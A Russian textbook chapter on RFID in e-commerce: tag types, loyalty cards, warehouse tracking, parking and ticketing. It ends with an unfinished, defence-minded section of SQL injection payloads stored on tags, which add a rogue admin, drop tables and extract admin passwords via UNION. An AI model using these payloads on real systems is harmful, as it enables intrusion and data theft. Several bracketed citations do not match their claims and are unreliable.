Радиочастотная идентификация (RFID) - это технология бесконтактной автоматической идентификации объектов при помощи радиочастотного канала связи.
Технология RFID позволяет удаленно идентифицировать объект с помощью портативного устройства (ридера), если на объект помещена специальная метка. В метке хранится информация об объекте. Практически мгновенно можно идентифицировать большое количество объектов.
Технология RFID может оказать значительное влияние на электронную коммерцию. Идентификация объектов на расстоянии и хранение данных о каждом из объектов в электронном виде позволяет глубже интегрировать процессы, протекающие в реальном мире, и процессы, присущие только электронной коммерции.
Рассмотрим технологию RFID более подробно, а затем уделим внимание вопросам использования технологии RFID в электронной коммерции.
RFID-система состоит из совокупности следующих компонент, представленных на рис 15.1:
(рис 15.1) Базовые компоненты RFID-системы
RFID-метка - устройство, связанное с объектом идентификации или учета, позволяющее получать и отправлять сигнал радиочастотной идентификации, запрашиваемый RFID-считывателем. Как правило, память RFID-метки невелика.
RFID-считыватель - устройство, предназначенное для получения данных с RFID-метки и ее первичной обработки. RFID-считыватель в зависимости от своего типа может также служить для записи информации в RFID-метку.
Компьютерная система обрабатывает данные с RFID-меток, ведет учет идентифицируемых объектов и служит для хранения данных об объектах учета.
RFID-антенна - предназначена для обмена сигналом радиочастотной идентификации между RFID-меткой и RFID-считывателем.
Задачей RFID-системы является хранение информации об объекте с возможностью ее удобного считывания. Метка может содержать любую информацию, которая может храниться в цифровой форме.
Функциональные возможности RFID-систем в значительной степени зависят от того, какие подходы были выбраны при реализации меток. При этом меняется цена меток и всей системы в целом. Основной характеристикой, которая больше всего влияет на функциональные возможности и стоимость системы, является наличие у меток источника питания. В соответствии с этим существует три типа RFID меток: активные, полупассивные и пассивные.
Пассивные RFID-метки лишены источника энергии. Электрический ток в подобных метках индуцируется в антенне электромагнитным сигналом от считывателя. Индуцированный сигнал обеспечивает достаточную мощность для функционирования чипа, размещенного в метке, который может передать и ответный сигнал. Пассивные RFID-метки обычно небольшого размера. Коммерческие решения на основе подобных меток, как правило, представляют собой тонкие прослойки в виде наклеек, которые легко наклеиваются на любую поверхность.
Подобные метки изготавливаются из полимерных полупроводников методом прокатной печати и в настоящий момент разрабатываются несколькими компаниями. Каждая метка имеет идентификационный номер. Пассивные метки могут иметь перезаписываемую энергонезависимую память EEPROM типа. Пассивные метки могут работать на расстояниях 1—200 см.
Активные RFID-метки имеют встроенный источник питания. Они не зависят от энергии считывателя и могут быть прочитаны на дальнем расстоянии. При этом активные метки имеют большие размеры, могут быть оснащены дополнительной электроникой. Но у батареи ограничен срок работы, и, кроме того, такие метки являются наиболее дорогими.
Активные метки в большинстве случаев являются более надежными, чем пассивные, благодаря установке канала между меткой и устройством считывания. Активные метки в качестве дополнительной функции могут генерировать выходной сигнал большего уровня, чем пассивные. Это позволяет шире применять активные метки, например, на металле и в условиях плохой погоды, когда на них может попасть вода или они могут просто оказаться под водой. Активные метки позволяют передавать сигнал на расстояния в сотни метров. При этом срок действия батареи без перезарядки составляет более 5 лет. В активных метках может храниться большой объем информации.
Полупассивные или полуактивные RFID-метки очень похожи на пассивные метки, но имеют источник питания, от которого RFID-чип работает после получения сигнала от считывателя. Таким образом, энергия отраженного сигнала в пассивных метках не зависит от мощности сигнала считывателя, а значит, полупассивные метки могут быть прочитаны на больших расстояниях.
По видам памяти метки также делятся:
У RFID-технологии есть ряд преимуществ, которые позволяют предполагать ее успешное развитие в ближайшем будущем. Перечислим ряд из них.
Технология RFID в настоящее время активно используется в различных коммерческих областях. Используемые ранее системы штрих-кодов, достаточно популярные в системах электронной коммерции, постепенно отходят на второй план, уступая место RFID-системам, которые широко используются в B2B-системах и B2C-системах. Кроме того, RFID все чаще интегрируется в ERP- и CRM-системы. Возможности RFID-технологий берутся на вооружение также производителями кредитных карт, которые все чаще встраивают в карты нового поколения RFID-чип.
Бесконтактные карты используются для замены таких традиционных форм идентификации и оплаты, как бумажные билеты и карты с магнитной полосой, жетоны и наличные в следующих сферах[3GPP TR 21.905: Vocabulary for 3GPP Specifications.]:
Рассмотрим ряд практических применений RFID-систем и разберем архитектуру систем электронной коммерции, опирающихся на эту новую технологию.
Повторные продажи в любой коммерческой структуре обеспечивают высокий процент прибыли, а также являются залогом стабильности. Компании стараются бороться за своего клиента и именно поэтому прибегают к различным приемам для того, чтобы человек или компания, сделавшие приобретение, вернулись за покупкой еще раз. Существует известное правило, которое гласит, что 20% постоянных клиентов позволяют получить 80% прибыли. Очевидно, что для получения максимальной прибыли компания должна уделять максимум внимания именно 20% своих клиентов.
Именно в связи с озвученным правилом, бизнес-процессами типа B2C используются специальные программы лояльности, т.е. программы поощрения клиентов. Подобные программы позволяют не только привлечь новых клиентов, но и удержать старых, фактически подталкивая их делать покупки в одном и том же месте.
Приведем ряд приемов программ лояльности.[3GPP TR 21.905: Vocabulary for 3GPP Specifications.]
Бонусные программы. В процессе совершения покупок клиент получает условные баллы. При накоплении определенного количества баллов покупатель может обменять их на выбранный им товар из списка так называемых "бонусных" товаров. Таким образом, компания, теряя небольшую сумму денег на покупку выбранного клиентом товара, фактически втягивает клиента в процесс накопления баллов, который придает азартный характер процессу покупок, не стоит забывать и о положительных эмоциях при получении приза. Системы бонусных программ известны достаточно хорошо, они встречаются довольно часто. Одним из характерных примеров бонусных программ в России является бонусная программа "Малина", действующая в большом количестве ресторанов, автозаправок и электронных киосков страны.
Дисконтные программы. Это наиболее популярный в настоящее время тип программ. Подобные программы лояльности предусматривают скидку постоянным покупателям на повторную покупку товара у того же продавца.
Накопительные дисконтные программы. В этой программе, как и в предыдущей, клиенты получают скидки на повторные покупки товаров. Размер скидок при этом не фиксирован, а зависит от того, что и в каком объеме было куплено. Кроме того, накопительные дисконтные программы позволяют напрямую связать получение выгоды клиентом с его покупательской активностью без каких-либо элементов случайности.
Розыгрыш призов. Клиенты, купившие определенный объем товара в заданный временной промежуток, участвуют в розыгрыше специальных призов компании. В этом виде программ наряду с материальными выгодами для клиента присутствуют и азарт получения приза.
Программы лояльности делятся на два типа по количеству торговых компаний, которые участвуют в системе начисления бонусов по единой схеме. Выделяют индивидуальные и партнерские программы лояльности. В индивидуальных программах лояльности участвует только одна компания. Она выставляет свои правила, и ее система лояльности работает только на ее торговых площадках.
В партнерских программах лояльности участвуют несколько компаний. Бонусы, накопленные клиентом в одной компании, учитываются при обслуживании клиента не только на предприятиях этой компании, но и на всех предприятиях всех компаний-участников проекта. Чем больше участников партнерской программы, тем более привлекательна для участников программа лояльности. Участники программы, как правило, компании, занимающиеся различными видами деятельности.[EMV ICC Specification for Payment Systems.]
Программа лояльности для успешной реализации должна иметь следующие составные части:
Современные системы лояльности достаточно громоздкие и имеют сложную архитектуру. Разворачивание системы лояльности с технической точки зрения на крупном предприятии - задача достаточно сложная и дорогая.
Традиционно в розничной торговле для работы с клиентами используются SQL серверные базы данных. К серверу подключатся рабочие места кассиров. Именно на кассе обычно происходят основные операции, связанные с выполнением функций, заложенных бизнес-логикой работы системы лояльности. Но если магазины сети находятся в разных концах города, то для организации системы необходимо развертывание корпоративной вычислительной сети, объединяющей эти магазины и состоящей из сотен и тысяч рабочих мест кассиров. Существенным ограничением внедрения программ лояльности для физических лиц остается высокая стоимость создания и эксплуатации централизованных корпоративных баз данных клиентов, а иногда и техническая невозможность создания корпоративной вычислительной сети.
В качестве основного инструмента систем лояльности используют пластиковые карты, которые бывают следующих видов:
Эмбоссированные. Данные карты похожи на обыкновенные пластиковые карты. Для идентификации клиента на их поверхности выдавливается идентификационный номер. Номер является уникальным. Именно по этому номеру клиент значится в развернутой системе лояльности.
Магнитные карты. При производстве карты на ее поверхность наносится магнитная полоса, которая служит для идентификации клиента системы лояльности.
Карты со штрих-кодом. Карты данного типа имеют на своей поверхности нанесенный штрих-код. Такой код считывается специальным ридером, но при этом многие штрих-коды также содержат надпись, продублированную цифрами. Штрих-код также является индивидуальным.
До недавнего времени перечисленные типы карт были основным инструментарием разработчиков систем лояльности. Но в настоящее время подобные карты все чаще заменяются картами нового поколения: RFID-картами[ISO/IEC 4909. "Идентификационные карты. Содержание данных 3-й дорожки магнитной полосы".].
Типичная архитектура программного комплекса, обеспечивающего работу индивидуальной системы лояльности, выглядит так, как показано на рис 15.2.
(рис 15.2) Принципиальная схема комплекса, обеспечивающего работу системы индивидуальной лояльности
Как видно из рисунка, в головном офисе компании существует центральная база данных, где хранится и обрабатывается вся информация о клиентах и их бонусах.
Принципиальная схема партнерской программы лояльности выглядит несколько иначе, она представлена на рис 15.3.
(рис 15.3) Принципиальная схема комплекса, обеспечивающего работу системы партнерской лояльности
Если при использовании карт первых трех типов кассир должен был поднести карту к специальному считывающему устройству, которое считывает код карты и передает его на сервер системы, где идет соответствующая обработка, то с появлением карт нового поколения все выглядит иначе. RFID-карты представляют собой носители информации нового поколения. Основной особенностью этого вида карт является возможность записи информации в энергонезависимую память карты и последующего чтения. Это позволяет создавать локальные базы данных клиентов непосредственно на RFID-карте.
Существенным недостатком применения других типов карт является сложность обработки данных в реальном времени без существенных для работы кассира задержек, связанных с практически одновременной передачей и централизованной обработкой на сервере запросов со множества рабочих мест кассиров. Такая задержка обычно крайне негативно отражается на отношении клиента к системе лояльности. Иногда из-за существенных задержек накопленные при текущей покупке бонусы могут быть учтены только при следующем посещении клиентом магазина либо еще позднее. С ростом количества клиентов, рабочих мест кассиров и торговых площадок сети резко возрастает вероятность сбоев системы, связанных с одновременной передачей по вычислительным сетям и обработкой на сервере колоссальных объемов информации. Сбои же, что очевидно, оказывают весьма негативное влияние не только на имидж системы лояльности, но и на отношение клиента к торговой площадке в целом.[ISO/IEC 7810. "Идентификационные карты. Физические характеристики".]
Для реализации партнерских программ лояльности компании - участники программы нанимают специальную независимую организацию - оператора программы. Оператор занимается непосредственно программой лояльности каждого из предприятий - участников проекта и координацией этих программ.
Основным недостатком подобной традиционной организации партнерских программ лояльности является необходимость передавать клиентские базы данных оператору программы.
При этом практика сохранности баз данных в России показывает, что со временем эти базы становятся доступны злоумышленникам, в том числе и конкурентам. Общеизвестны примеры хищения баз данных сотовых операторов и ведомственных служб.
К несомненным преимуществам системы, основанной на использовании RFID-карт, является возможность осуществления ее криптозащиты. Подделать такую карту практически невозможно. Кроме того, в случае участия карты не в индивидуальной, а в партнерской системе лояльности, существует возможность использования так называемой многосекторной RFID-карты. Как уже говорилось, RFID-карта представляет собой карту со встроенным RFID-чипом. Причем чип может быть достаточно интеллектуальным. На RFID-чипе могут быть созданы независимые сектора данных. Доступ к каждому из секторов может получить только соответствующая компания, при этом остальные сектора будут ей недоступны. При этом можно выделить сектора, которые будут использоваться совместно всеми компниями-участниками программы. Обычно такие сектора выделяются под хранение данных о самом клиенте независимо от того, клиентом каких компаний он является. Таким образом RFID-карта позволяет иметь полную информацию о клиенте, необходимую для организации партнерской программы, а также сохранять конфиденциальность информации о клиенте для каждой из компаний-участников.
Работа кассиров с RFID-картами также выглядит гораздо проще. Кассиру необходимо поднести карту к специальному считывающему и записывающему устройству, которое проверяет право доступа кассира к информации, записанной на карту. При подтверждении права доступа разрешенная информация с карты поступает в терминал кассира для отображения и обработки.
Вся необходимая клиенту информация по обслуживанию клиента в рамках принятой системы лояльности выдается клиенту прямо на экран. В этом случае отсутствуют задержки в выдаче рекомендации кассиру, связанные с передачей данных на сервер системы и обратно. Бонусы при таком подходе можно использовать уже сразу после предъявления карты. Таким образом, покупатель может использовать бонусы, полученные им как от предыдущей, так и от текущей покупки. Подобные возможности существенно повышают эффективность программ лояльности. Конечно, для ведения мониторинга, финансового и управленческого учета передача информация на сервер необходима, но это может происходить уже без задержки клиента. Фактически такая передача может быть выполнена в конце дня. К тому же сбой в подобных системах не так опасен, ведь информация всегда сохраняется на карточке клиента, а это означает, что восстановить информацию можно будет всегда.
Описанный подход к системам лояльности на основе RFID-технологий позволяет системам перейти к работе с распределенными базами данных, где роль локальных клиентских баз выполняет энергонезависимая память RFID-карт. Для создания систем лояльности с использованием RFID-карт нет необходимости связывать все эти площадки мощными корпоративными вычислительными сетями, что является несомненным преимуществом и приводит к существенной экономии средств.
Таким образом, RFID-карты целесообразны при создании систем лояльности в случаях когда:
RFID-технологии после их появления уже отвоевали большую часть рынка, которую ранее занимали и до сих пор занимают технологии штрих-кодов. Системы учета, построенные на штрих-кодах, интегрируются с большим количеством систем ERP и CRM. Подобные решения позволяют не только улучшить качество обратной связи, что крайне важно в бизнесе, но и получить быстрый доступ к оперативным данным о состоянии производства, об уровне складского запаса и т.д.
С появлением RFID-технологий качество подобных решений возросло на порядок. Во-первых, технологии RFID позволяют размещать метки на тех товарах, на которых разместить штрихкод ранее не представлялось возможным. Во-вторых, штрих-код легко повредить, а RFID-метка, исполненная в специальном корпусе, может быть идеальным идентификатором, который не боится ни влаги, ни грязи. Наконец, RFID-метка не обязательно должна быть в зоне прямой видимости.
Таким образом, перечисленные достоинства RFID-технологий позволяют не только полностью заменить в ряде задач штрих-коды, но и расширить набор решаемых задач. Рассмотрим ряд областей электронной коммерции, которые существенно выиграли от внедрения RFID-технологий.
Бесперебойная работа предприятия - это один из ключевых факторов, который позволяет достичь максимальной прибыли. Длительные простои в работе предприятия связаны с недополучением прибыли, в то же время переработки ведут к тому, что складские запасы компании пополняются, а продаж нет ввиду того, что спрос недостаточно велик. С экономической точки зрения максимальная прибыль достигается лишь в том случае, когда предприятие работает на максимуме своих возможностей. Это достигается только в том случае, когда руководство предприятия тщательно фиксирует наличие всех комплектующих на складе и делает необходимые расчеты, увязывая их с необходимыми поставками.[3GPP TR 21.905: Vocabulary for 3GPP Specifications.]
Подобные показатели также во многом зависят от того, как поставлена система учета, ведь именно на основе данных складской системы учета формируется видение топ-менеджеров компании. Также крайне важным вопросом для добывающих компаний является учет добываемого сырья. Предприятия горнодобывающей, металлургической промышленности, заводы по производству стройматериалов и промышленных заготовок используют сырье, вырабатываемое на карьерах и рудниках. На завод такое сырье транспортируется самосвалами или железнодорожными составами. Фактически задача учета количества исходных материалов сводится к взвешиванию груженых вагонов подвижного состава или самосвалов.
Задача такого рода позволяет учитывать, например, какое количество руды поступает в производственный цикл. Также необходимо постоянно поддерживать систему в работоспособном состоянии. Это невозможно осуществить без отслеживания каждой единицы подвижного состава или каждого самосвала в отдельности. Именно для решения подобных задач необходимо использовать RFID.
Решения, которые позволяют эффективно выполнять поставленную задачу, как правило, имеют следующую архитектуру. В подвижной состав или грузовой транспорт встраиваются радиометки, а на весовых станциях и промежуточных точках контроля устанавливаются считывающие системы RFID. При этом используются активные метки с целью увеличения радиуса действия считывателей и преодоления излишних помех. Радиометки для подобных решений, как правило, делают противоударными и снабжают защитными оболочками.[EMV ICC Specification for Payment Systems.]
Благодаря использованию радиочастотной идентификации появляется возможность следить не за загрузкой вагона или самосвала вообще, а за загрузкой данной конкретной транспортной единицы. В результате появляется возможность прогнозировать техническое состояние заводского транспорта, поскольку перегруз - главный фактор, влияющий на выработку технического ресурса транспортного средства. Зная, какой водитель сидит за рулем карьерного самосвала, в момент взвешивания можно определить, насколько он нарушает нормативы по предельной нагрузке машины, и принять соответствующие меры.
Уже сейчас активно внедряются радиометки, позволяющие диагностировать износ колес железнодорожных вагонов, т.е. появляется возможность ремонтировать только те машины и вагоны, для которых неполадки спрогнозированы или выявлены автоматически.
Таким образом, системы электронной коммерции в режиме online позволяют собирать информацию о степени загруженности транспортных единиц. В ERP-системах подобные данные можно обработать и фактически рассчитать экономические показатели бизнеса на текущий момент. Такие возможности позволяют интегрировать системы учета продаж (что сделать достаточно легко ввиду наличия автоматизированных кассовых точек) и системы поставки ресурсов. Иначе говоря, технология RFID позволяет связать воедино все процессы, протекающие в компании, что делает системы электронной коммерции интегрированными и более привязанными к реальному положению дел в компании.
Складской учет в системах электронной коммерции позволяет производить анализ в рамках работы ERP-систем. Кроме того во многих современных системах электронной коммерции автоматизация складского учета позволяет связать непосредственные денежные операции с событиями, происходящими на предприятии. Фактически с появлением возможности автоматического слежения за каждой единицей продукции и синхронизации этих данных с системой электронного учета предприятия системы электронной коммерции получили мощный толчок в развитии. Теперь существуют реальные механизмы, позволяющие связать операции приобретения и продажи товаров с реальным состоянием дел на предприятии.[ISO/IEC 4909. "Идентификационные карты. Содержание данных 3-й дорожки магнитной полосы".]
Рассмотрим, как подобные нововведения воплощаются в жизнь на складских комплексах. На рис 15.4 представлена RFID-система автоматизации складского учета.
(рис 15.4) Система автоматизации складского учета
Даже на первый взгляд преимущества применения RFID-технологий в складской деятельности очевидны: происходит ускорение всех основных процессов, связанных с обработкой товаров, и увеличивается их надежность, а также снижается доля ошибочных операций за счет их автоматизации и уменьшения влияния человеческого фактора. Рассмотрим алгоритм работы складских комплексов, использующих RFID-технологии.
При приеме товара на склад он помечается RFID-метками с одновременным их считыванием и занесением соответствующего номера метки принятого товара в складскую программу автоматизации. Автоматическая регистрация товаров также возможна при проезде погрузчика через зону действия стационарного считывателя - метки можно считывать прямо по ходу движения.[ISO/IEC 7810. "Идентификационные карты. Физические характеристики".]
В учетную систему склада поступает информация о том, что поступившие товары оклеены метками и готовы к размещению. В дальнейшем товар должен быть размещен на складе в соответствии с выделенным ему местом. Места хранения также могут быть помечены RFID-метками, что обеспечит автоматическую привязку размещенного товара к конкретному месту хранения. Эти меры позволят создать с помощью специального модуля складской программы виртуальную карту склада, а чтение метки в этом случае позволит однозначно определить местоположение каждого товара. При запросе на выдачу со склада определенного товара или при комплектации заказа складская программа автоматически формирует список требуемых товаров и мест их хранения для кладовщика. При подборе заказа считыватель сигнализирует о неверно выбранном товаре, что позволяет избежать ошибок. Автоматическая сверка правильности отгрузки, списание товара и подготовка транспортных документов на товар осуществляются при прохождении погрузчика через ворота склада, оборудованные считывающим устройством, или движении товара по транспортерной ленте.
При запросе на выдачу определенного товара работник формирует и отправляет на терминал погрузчика список товаров, которые необходимо выдать, с указанием их расположения и требуемого количества. По аналогии с предыдущими операциями погрузчик считывает метки товара и места хранения перед тем, как забрать необходимый товар. На выходе со склада стационарные считыватели фиксируют факт того, что товар покинул склад.
Неоспоримым преимуществом RFID-систем на складе является существенное упрощение процесса инвентаризации. Благодаря тому что радиометки можно считывать на расстоянии, достаточно просто пройти по рядам со считывателем, и товар, находящийся на полках, будет зарегистрирован в системе складского учета.
Таким образом, технология RFID действительно помогает более чем на порядок сократить временные и трудозатраты на такие операции, как приемка, комплектация, инвентаризация и отгрузка товара. Как показывает практика, именно эти процессы являются проблемной зоной на складе.
С точки зрения электронной коммерции RFID-системы на складах позволяют мгновенно проводить перерасчет стоимости продукции, расчет окупаемости и интегрировать процессы перечисления денег за продукцию и ее отгрузку.
Фактически с появлением RFID системы электронной коммерции из систем, связанных с переводом денежных средств, превращаются в системы, которые охватывают все процессы, протекающие на предприятии: от производства товара до его отгрузки конечному покупателю.
Системы автоматической парковки будут рассмотрены здесь в качестве одного из самых показательных примеров того, как система электронной коммерции предприятия может быть построена, всецело основываясь на RFID-технологиях.
Система автоматической стоянки реализует следующие функции: контроль всех въезжающих и выезжающих автомобилей, времени нахождения на стоянке, а также свободных мест. Подобная система позволяет получать полные отчеты и статистику о работе парковки, избегать потерь от несознательных клиентов и исключать возможность манипуляций со стороны недобросовестного персонала. Кроме того, данная система автоматически ведет всю коммерческую деятельность.[ISO/IEC 7811. "Идентификационные карты. Способ записи".]
Реализация системы достаточно проста. На въезде стоянки оборудуется шлагбаум, рядом с которым располагается терминал, обеспечивающий автоматический контроль доступа. Терминал либо принимает деньги, либо позволяет расплатиться с помощью RFID-карты, либо пропускает автомашину, владелец которой имеет постоянный заранее оплаченный пропуск. В зависимости от того, были ли переведены деньги через терминал или имеет ли владелец проезжающего автотранспорта соответствующий RFID-пропуск, система контроля автостоянки принимает решение о том, следует ли пропускать машину на территорию стоянки. Выезд со стоянки разрешен для всех автомашин. Таким образом, вся система автоматической парковки может работать без обслуживающего персонала. Все решения (о приеме платежа, о пропуске автомашины и т.д.) система принимает автоматически.
Для того чтобы усилить контроль, используются дополнительные видеокамеры, которые не связаны с принятием решений автономной системой автостоянки, но необходимы для контроля за соблюдением порядка. Управление всей системой ведется с помощью четырех серверов: сервера управления шлагбаумами, сервера видеоданных, центрального сервера, сервера обработки данных. Фактически система автоматической парковки - это автономная система, имеющая собственную систему электронных расчетов. Заметим, что как допуск на стоянку, так и оплата стоянки - все реализовано с помощью возможностей RFID-систем, что наглядно демонстрирует рис 15.5.
(рис 15.5) Схема реализации RFID-системы автоматической парковки: 1 - RFID-метка; 2 - RFID антенна; 3 - терминал автоматической оплаты; 4 - камера видеонаблюдения; 5 - шлагбаум; 6 - центральный сервер; 7 - сервер видеонаблюдения; 8 - сервер обработки данных; 9 — сервер управления
Принцип работы RFID-пропуска также достаточно прост. В терминале расположен не только считыватель, позволяющий проводить автоматический съем денег с карты, но и считыватель, получающий уникальной идентификатор карты клиента, который впоследствии сравнивается с разрешенными идентификаторами из базы данных стоянки.[ISO/IEC 7812. "Идентификационные карты. Система нумерации. Процедура регистрации идентификаторов эмитента".]
Таким образом, на простом примере автоматической стоянки можно понять, как RFID-технологии позволяют реализовывать автономные системы электронной коммерции нового поколения.
Задача проверки билетов на стадион, на концерт или любое другое массовое мероприятие - достаточно сложная процедура, напрямую связанная в настоящее время с системами электронной коммерции. Если у человека есть действительный билет на мероприятие - доступ разрешен. Кроме того, по билетам может проводиться проверка того, где покупатель приобрел билет и какова стоимость билета. Задача проверки электронных билетов во многом схожа с теми задачами, которые решаются современными автоматизированными системами контроля доступа. Для систем контроля доступа во всем мире применяются бесконтактные RFID-карты. Подобные карты обладают уникальным серийным номером, по которому и происходит идентификация. Также на картах нового поколения помимо идентификационного номера может храниться дополнительная персональная информация владельца карты.
Если же говорить о массовых мероприятиях, то достаточно остро встает вопрос о себестоимости билетов. Очевидно, что бесконтактные карты невыгодны ввиду внушительной для такого рода задач стоимости с учетом того, какое огромное количество зрителей, как правило, направляется на спортивное мероприятие. Существенный прогресс в этом отношении достигнут благодаря использованию двух технологий: технологии смарт-этикеток и печати токопроводящими чернилами.
Смарт-этикетки производятся в несколько стадий. На первом этапе RFID-чип и антенна из алюминия или меди клеятся на тонкую пленку из полиэтилентерефталата (радиометки inlay). Далее пленка с электроникой тега приклеивается уже к внешнему покрытию, и наносится основной клеевой слой. Производство подобных меток достаточно дешево и может выполняться в огромных масштабах. Существует возможность встраивать подобные метки в билеты.
Технология печати токопроводящими чернилами позволяет печатать антенну RFID-метки специальной краской, содержащей некоторое количество специальных металлов. Качество такой антенны намного ниже, чем у антенны, описанной в предыдущем примере. Но так как RFID-билет не требует большого расстояния считывания, то качество антенны тут некритично.
Электронные билеты на мероприятие не хранят большого объема данных, но требуют защиты от модификации этих данных, чтобы злоумышленник не смог перепрограммировать использованный билет и пойти на другое мероприятие бесплатно.
Разберем, как устроена система электронной коммерции, имеющая в своем составе модуль работы с электронными билетами. Используя турникеты со встроенным модулем, RFID-проверку билетов можно полностью возложить на аппаратуру, при этом охране остается только следить за порядком. Аутентификация происходит в течение одной секунды, что меньше времени процедуры, когда контролер берет обычный бумажный билет и отрывает контрольный корешок.
Печать билетов может происходить как централизованно один раз, так и в разных кассах по мере поступления заказов. В любом случае система электронной коммерции имеет в своем составе единую базу данных электронных билетов, где хранится весь доступный пул идентификаторов билетов с привязкой к конкретным местам. Если билеты печатаются предварительно и потом распространяются, то база данных остается неизменной. В случае разовой печати билетов при каждом запросе от клиента в базу данных напротив идентификатора электронного билета может вноситься информация о времени покупки, личные данные клиента и о терминале, где был напечатан билет. В случае изменения стоимости билетов по мере приближения даты мероприятия в базу данных также может вноситься и цена билета.
К данной базе данных обращается программное обеспечение комплекса стадиона, где проходит массовое мероприятие. Как правило, такое ПО выполняет контроль над турникетами и заполнением спортивного сооружения или концертного зала.
Иллюзию безопасности RFID-технологии во многом поддерживает тот факт, что RFID-теги несут исключительно небольшой объем информации, а следовательно, с минимальной вероятностью могут быть источником разрушающих программных воздействий.
Тем не менее даже стандартной памяти RFID-тега в 1 Кб может быть достаточно для того, чтобы осуществить атаку с самыми разрушительными последствиями.
Так, например, I.Code SLI тег содержит 28 четырехбайтовых блоков, т.е. 896 битов. При использовании ASCII кодировки (семибитовой) на таком теге умещается 128 символов. При определенном подходе этого объема информации вполне хватает для распространения вирусов.
Рассмотрим последовательно виды RFID-вирусов и их возможности, что будет полезным для реализации полноценной системы защиты RFID-систем электронной коммерции.
Данная категория вирусов является одной из наиболее распространенных. К ней относится множество вирусов, для которых характерны следующие особенности:
Большая часть подобных вирусов использует механизм SQL-инъекций как наиболее очевидный способ произвести изменения в базе данных, используя слабости системы. Использование этого механизма атак подразумевает, что злоумышленник исполняет собственный SQL-запрос в обход разрешения от программного средства, которое осуществляет управление базой данных.
RFID-тег вполне может содержать вирус, который будет осуществлять атаку, выполнив SQL-инъекцию. Небольшой объем памяти RFID-тега не будет являться существенным ограничением для данной атаки.
Распространенность подобных вирусов объясняется тем, что большая часть систем на основе технологии RFID используют базы данных, а само программное обеспечение, обрабатывая информацию с RFID-метки, передает ее на хранение в базу данных.
Данную категорию вирусов можно поделить на несколько подкатегорий по наиболее характерным приемам, которые используют вирусы, осуществляющие модификацию информации в базе данных.
Данные вирусы наследуют характерные особенности материнской категории, но при этом имеют дополнительную важную характеристику:
Рассмотрим более подробно характерные особенности данного типа вирусов. Для разделения команд в языке SQL используется символ ";" (точка с запятой), внедряя этот символ в запрос, злоумышленник получает возможность выполнить несколько команд в одном запросе, однако не все диалекты SQL поддерживают такую возможность.
Если, к примеру, в RFID-теге должно содержаться некоторое значение, которое RFID-устройство считывает и помещает в базу данных, то злоумышленник может модифицировать содержание тега следующим образом.
После значения, которое планирует считать RFID-устройство, ставится точка с запятой, которая, как уже было сказано, означает прекращение данной SQL-директивы и начало следующей. Произвольная SQL-директива может выступать в роли незапланированной с точки зрения логики программы.
Пример простейшего вида SQL-инъекции выглядит следующим образом:
некоторое значение; INSERT INTO admin (username, password) VALUES ('hacker', '0000');
Таким образом, по логике программного средства, работающего с RFID-считывателем, в результате подстановки значения, считанного из тега, должен быть выполнен запрос типа:
INSERT INTO goods (name) VALUES (Apple);
Но на практике получится следующее:
INSERT INTO goods (name) VALUES (Apple);
NSERT INTO admin (username, password) VALUES ('hacker', '0000');
Таким образом в таблицу администраторов будет добавлена незапланированная создателями системы посторонняя запись. В результате злоумышленник сможет беспрепятственно получить административный доступ к RFID-системе учета.
Небольшой объем памяти некоторых RFID-тегов вовсе не обязательно является ограничением для создателей вирусов. Например, команда
;drop table <tablename>
удалит указанную в параметре <tablename> таблицу.
Еще одним способом расщепления запроса является использование синтаксической конструкции ||.
Так самый частый запрос в RFID-системах - это запрос типа UPDATE, обновляющий содержимое ячейки базы данных информацией, которая помещена в RFID-теге.
Запрос типа UPDATE выглядит следующим образом:
UPDATE ContainerContents SET OldContents='%contents%' WHERE TagID='%id%'
С помощью данного запроса старое значение ячейки OldContents для контейнера с тегом id, обрабатываемого RFID-системой, заменяется на новое.
Если в качестве содержимого RFID-тега указано
'|| (SELECT ...) ||'
то в ячейку OldContents будет помещено значение, выбранное из базы данных запросом SELECT.
Данные вирусы также наследуют характерные особенности материнской категории, но при этом имеют дополнительную важную характеристику:
UNION таким образом, чтобы выполнить несанкционированные операции с базой данных.Язык SQL позволяет объединять результаты нескольких запросов при помощи оператора UNION. Это предоставляет злоумышленнику возможность получить несанкционированный доступ к данным RFID-системы.
Так ряд RFID-приложений работает по сценарию, согласно которому считанное с RFID-тега значение служит для поиска в базе данных RFID-системы информации об идентифицированном объекте и ее вывода. Такие системы часто встречаются на автоматизированных стоянках, когда водитель проезжающей на складской комплекс автомашины автоматически получает из терминала чек о времени его въезда на стоянку; терминале, к которому ему следует проехать, и характере груза, который следует забрать.
RFID-тег на такой автомашине может быть модифицирован с использованием механизма UNION в SQL-инъекции. В результате злоумышленник получит всю необходимую ему информацию о складе в выводимом чеке.
Рассмотрим типичный SQL-запрос, который используется в подобных системах автоматического учета для поиска необходимой для вывода в чеке информации:
SELECT terminal, time, goods, car FROM warehouse WHERE id = "requested id";
В качестве id используется записанное в теге значение. Если злоумышленник передаст в качестве параметра id конструкцию
–1 UNION SELECT 1,username,password,1 FROM admin
это вызовет выполнение SQL-запроса
SELECT terminal, time, goods, car FROM warehouse WHERE id = –1 UNION SELECT 1,username,password,1 FROM admin
Так как транспорта с идентификатором –1 заведомо не существует, из таблицы warehouse не будет выбрано ни одной записи, однако в результат попадут записи, несанкционированно отобранные из таблицы admin в результате инъекции SQL.
Таким образом, злоумышленник на чеке получит всю информацию, необходимую для управления складом с правами администратора.
Если база данных работает с правами root, то простейшие SQL-инъекции могут поставить под вопрос безопасность не только базы данных, но и всей системы и даже сети.
Данные вирусы также, как и предыдущие два вида, наследуют характерные особенности материнской категории, но при этом имеют дополнительную важную характеристику:
Рассмотрим характерные особенности данного типа вирусов.
Зачастую SQL-запрос, подверженный инъекции, имеет структуру, усложняющую или препятствующую использованию UNION. Например, многие RFID-считыватели передают на сервер сформированные запросы с указанием терминала, где происходит идентификация.
Таким образом, в RFID-системах может быть реализовано разделение различных путей прихода груза на склад. Иначе говоря, если на склад прибывают товары водным и наземным транспортом, то в зависимости от того, какое транспортное средство заходит на территорию складского комплекса, в запросе на получение чека может присутствовать дополнительный параметр, жестким образом оговоренный в самом RFID-считывателе.
Так, для морских судов в RFID-запрос автоматически включается указание на то, что должно рассматриваться именно морское судно, а для транспортных средств, соответственно, транспортные средства.
Приведем пример такого рода запроса:
SELECT terminal, time, goods, transport FROM warehouse WHERE id = "requested id" AND port="marine"
Очевидно, что параметр marine жестко прописан, и инъекция с использованием UNION затруднительна.
В таких случаях злоумышленниками используется метод экранирования части запроса при помощи символов комментария (/* или -- в зависимости от типа СУБД).
В данном примере злоумышленник может поместить на RFID-тег параметр id со значением
–1 UNION SELECT password FROM admin/*
выполнив таким образом запрос
